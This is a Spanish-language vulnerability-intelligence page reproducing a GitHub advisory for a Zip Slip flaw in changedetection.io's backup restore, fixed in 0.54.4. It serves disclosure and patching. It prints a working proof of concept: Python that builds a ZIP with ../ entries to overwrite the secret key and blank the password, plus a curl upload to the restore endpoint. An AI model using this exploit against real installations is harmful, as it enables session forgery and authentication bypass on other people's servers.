llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · changedetection-io

GHSA-25G8-2MCF-FCX9

changedetection.io has Zip Slip vulnerability in the backup restore functionality

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición260 dDesde la divulgación, 4 mar 2026, 4:28 p. m.
Detección257 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.54.4
Monitoreo
Detectada
4 mar 26
13 jul 26
17 nov 26
19 nov 26
4 mar 26
8 may 26
12 jul 26
15 sept 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-25G8-2MCF-FCX9 divulgada
Remediación Parche 0.54.4 changedetection-io · 0 d desde divulgación
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

| Path in ZIP | Target File | Impact |
| --- | --- | --- |
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |

Attacker uploads ZIP via the backup restore functionality at /backups/restore
Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

```curl -X POST "http://target:5000/backups/restore/start" \
-F "zip_file=@zipslip.zip" \
-F "include_watches=y" \
-F "include_settings=y"
```

###Step 3: Verify Path Traversal
### Check if watch escaped to /datastore/
###ls -la /datastore/
### Look for: pwned-uuid-1234/

### Verify in UI
```curl "http://target:5000/" | grep "ZIPSLIP"```

<img width="1920" height="1080" alt="f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM" src="https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38" />

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
changedetection-io< 0.54.4
0.54.4
0.70.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypichangedetection-io
Corregida 0.54.4 0 d 0.70.3 no afectada
Versiones corregidas0.54.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-29065
Otrahttps://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9
Otrahttps://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa
Otrahttps://github.com/dgtlmoon/changedetection.io
Otrahttps://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.